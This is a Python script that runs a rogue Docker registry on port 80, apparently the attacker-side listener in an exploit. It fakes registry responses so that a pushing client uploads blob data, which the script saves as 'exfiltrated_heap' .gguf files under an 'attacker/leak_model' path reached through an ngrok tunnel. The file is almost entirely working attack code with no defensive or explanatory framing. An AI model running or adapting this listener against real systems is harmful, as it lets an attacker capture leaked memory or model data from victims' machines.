#!/usr/bin/env python3
import socket
import threading
import time
import os

os.makedirs("exfils", exist_ok=True)

def handle_client(client_socket):
    try:
        # 3-second timeout ensures we slurp all data without hanging indefinitely
        client_socket.settimeout(3.0)
        request = b""
        
        while b"\r\n\r\n" not in request:
            try:
                req_chunk = client_socket.recv(4096)
                if not req_chunk:
                    break
                request += req_chunk
            except socket.timeout:
                break

        if not request:
            return

        headers_part = request.split(b"\r\n\r\n")[0]
        headers = headers_part.decode('utf-8', errors='ignore')
        method_line = headers.split('\r\n')[0]

        print(f"[*] Received request: {method_line}")

        # CRITICAL FIX: Handle Go's Expect: 100-continue requirement
        if "expect: 100-continue" in headers.lower():
            client_socket.send(b"HTTP/1.1 100 Continue\r\n\r\n")

        if "HEAD" in method_line and "/blobs/" in method_line:
            response = b"HTTP/1.1 404 Not Found\r\n"
            response += b"Content-Length: 0\r\n"
            response += b"Docker-Distribution-Api-Version: registry/2.0\r\n\r\n"
            client_socket.send(response)

        elif "POST" in method_line and "/blobs/uploads/" in method_line:
            host_header = ""
            for line in headers.split('\r\n'):
                if line.lower().startswith('host:'):
                    host_header = line.split(':', 1)[1].strip()
                    break
            
            response = b"HTTP/1.1 202 Accepted\r\n"
            response += b"Content-Length: 0\r\n"
            response += b"Docker-Distribution-Api-Version: registry/2.0\r\n"
            # Force the Location header to match ngrok's schema
            if host_header:
                response += f"Location: https://{host_header}/v2/attacker/leak_model/blobs/uploads/1234-5678\r\n".encode()
            else:
                response += b"Location: /v2/attacker/leak_model/blobs/uploads/1234-5678\r\n"
            response += b"\r\n"
            client_socket.send(response)

        elif "PATCH" in method_line or "PUT" in method_line:
            print(f"[+] {method_line.split()[0]} request received! Slurping payload via socket timeout...")
            
            body = request[len(headers_part)+4:]
            while True:
                try:
                    chunk = client_socket.recv(8192)
                    if not chunk:
                        break
                    body += chunk
                except socket.timeout:
                    # Timeout reached, assume stream is complete
                    break 

            # Acknowledge upload completion only AFTER reading the stream
            response = b"HTTP/1.1 201 Created\r\n"
            response += b"Content-Length: 0\r\n"
            response += b"Docker-Distribution-Api-Version: registry/2.0\r\n\r\n"
            client_socket.send(response)

            filename = f"exfils/exfiltrated_heap_{int(time.time()*1000)}.gguf"
            if len(body) > 0:
                print(f"[+] Successfully captured {len(body)} bytes! Saving to '{filename}'")
                with open(filename, "wb") as f:
                    f.write(body)
            else:
                print("[-] Ignored 0 byte payload.")
        else:
            # Catch-all for standard registry endpoints
            response = b"HTTP/1.1 200 OK\r\n"
            response += b"Content-Length: 0\r\n"
            response += b"Docker-Distribution-Api-Version: registry/2.0\r\n\r\n"
            client_socket.send(response)

    except Exception as e:
        print(f"[-] Socket error: {e}")
    finally:
        client_socket.close()

def start_server(port=80):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(("0.0.0.0", port))
    server.listen(5)
    print(f"[*] Rogue Registry listener started on 0.0.0.0:{port}")

    while True:
        client, addr = server.accept()
        client_handler = threading.Thread(target=handle_client, args=(client,))
        client_handler.start()

if __name__ == "__main__":
    start_server(80)